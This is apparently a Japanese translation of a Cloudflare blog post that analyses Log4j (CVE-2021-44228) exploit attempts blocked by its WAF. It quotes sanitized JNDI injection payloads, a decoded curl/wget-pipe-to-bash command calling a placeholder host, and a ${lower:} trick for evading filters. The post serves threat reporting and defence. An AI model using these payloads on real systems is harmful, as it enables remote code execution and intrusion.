私は以前に、Log4j の CVE-2021-44228 をどのように軽減するか、どのようにしてこの脆弱性が発生したのか、そして Cloudflare のお客様に対する緩和策について書きました。この記事を書いている間にも、この脆弱性の深刻さを受けて、FREE のお客様にも保護策を展開しています。
スキャンや脆弱性の悪用を試みた何時間ものデータが揃っているので、実際に使用されているペイロードや統計を調べ始めることができます。まず、Cloudflare が WAF を通じてブロックしているリクエストから始めましょう。
今朝は、ブロックされた攻撃がゆっくりと増加し(時間は UTC)、1,800件辺りに最大のピークを迎えました(1分間におよそ20,000件のエクスプロイトリクエストがブロックされています)。しかし、スキャンは1日中継続して行われています。今後もこの状態が続くと思われます。
また、WAF がブロックしている IP アドレスの数を見てみました。200から400のIPアドレスが常にスキャンされているようです。
これまでのところ、スキャンや不正使用の試みは、カナダ、そして米国からのものが最も多くなっています。
ブロックされたリクエストの多くは、サーバーが実際に悪用可能かどうかを確認するための偵察のようです。ブロックされた上位のエクスプロイトの文字列は次の通りです(ドメイン名と IP アドレスはすべてサニタイズしています)。
${jndi:ldap://x.x.x.x/#Touch}
これは、アクターが管理しているであろうx.x.x.xのサーバーを攻撃し、インターネットプロパティが悪用可能であることを記録する簡単な方法のように見えます。しかし、これだけではアクターにはあまり伝わりません。2番目に多かったリクエストには次のようなものがありました。
Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua
これは、リクエストの User-Agent フィールドに表示されました。URI の末尾に /ua と書かれていることに注目してください。これは、アクターにとって、User-Agentを利用したエクスプロイトが有効であることを示す手がかりとなるでしょう。
別の興味深いペイロードでは、アクターがうまくいくフォーマットを詳しく説明していたことを表しています(この場合、ポート443への非暗号化リクエストで、彼らは http:// を使おうとしていました)。
${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}
誰かが Googlebot のふりをして、余分な情報を入れようとしたのです。
Googlebot/2.1 (+http://www.google.com/bot.html)${jndi:ldap://x.x.x.x:80/Log4jRCE}
次のケースでは、アクターは Cloudflare のパブリックIPを利用しており、その IP アドレスをエクスプロイトのペイロードにエンコードしています。そうすることで、多くの IP をスキャンし、どの IP が脆弱であるかを知ることができました。
${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}
このスキームのバリエーションとして、攻撃を受けた Webサイトの名前をエクスプロイトのペイロードに含めるというものがありました。
${jndi:ldap://www.blogs.example.com.gu.c1me2000ssggnaro4eyyb.example.com/www.blogs.example.com}
LDAP を使わずに DNS を使っているアクターもいました。しかし、LDAP は最も一般的に使用されているプロトコルです。
${jndi:dns://aeutbj.example.com/ext}
非常に興味深いスキャンは、Java と Linux の標準的なコマンドラインツールを使用したものです。ペイロードは次のようなものです。
${jndi:ldap://x.x.x.x:12344/Basic/Command/Base64/KGN1cmwgLXMgeC54LngueDo1ODc0L3kueS55Lnk6NDQzfHx3Z2V0IC1xIC1PLSB4LngueC54OjU4NzQveS55LnkueTo0NDMpfGJhc2g=}
base64 でエンコードされた部分をデコードすると、curl と wget が bash にパイプで接続されます。
(curl -s x.x.x.x:5874/y.y.y.y:443||wget -q -O- x.x.x.x:5874/y.y.y.y:443)|bash
curl/wget からの出力は必須ではないので、これはアクターにエクスプロイトが成功したことを示すためにサーバーを叩いているだけであることに注意してください。
最後に、Log4j の他の機能を使って、${jndi:ldap}のような文字列の単純なブロックを回避しようとする活発な試みが見られます。例えば、${lower}機能(文字を小文字にする)を使って、次のように回避するのが一般的なようです。
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x
現時点では、多くの偵察が行われているようです。善人も悪人も、世界中の脆弱なサーバーをスキャンしています。最終的には、こうした偵察活動の一部が、実際にサーバーや企業に侵入することになるでしょう。ログはフロントエンドとバックエンドのシステムに深く埋め込まれているため、数時間から数日は明らかにならないものもあります。
地中で静かに成長する胞子のように、あるものは土を突き破って光の中に出てきます。
Cloudflare のセキュリティチームは、悪意のある試みが進化するのに合わせて継続的に作業を行っており、必要に応じて WAF やファイアウォールのルールを更新していきます。